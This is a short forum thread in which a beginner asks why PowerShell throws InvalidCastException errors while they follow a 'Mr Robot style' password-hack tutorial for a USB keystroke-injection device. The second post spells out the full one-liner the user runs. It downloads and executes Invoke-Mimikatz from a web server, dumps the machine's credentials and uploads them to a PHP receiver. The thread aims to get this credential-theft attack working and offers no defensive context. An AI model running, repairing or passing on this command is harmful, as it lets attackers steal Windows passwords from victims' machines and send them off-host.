Jump to content

Mr Robot script, powershell error


sracer21

Recommended Posts

Hello everybody, I'm new to the board. I am new to programming and powershell is giving me an error with the Mr Robot command. Any help would be great. Here is the error.

Specified cast is not valid.
At line:2179 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException

Specified cast is not valid.
At line:2237 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException

 

I am also trying this on Win10.

Link to comment
Share on other sites

Sorry for being so bland. My fault.

So I was following the "15 Second Password Hack, Mr Robot Style" instructions for setting up my ducky and webserver. From what I can tell from the output of powershell, I am getting the 2 errors stated in my original post. They seem to be pointing to 2 different places in the invoke-mimikatz file (im.ps1) powershell script. I get the 2 errors above when I run,

powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('https://mywebserver/rx.php', $output)"

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...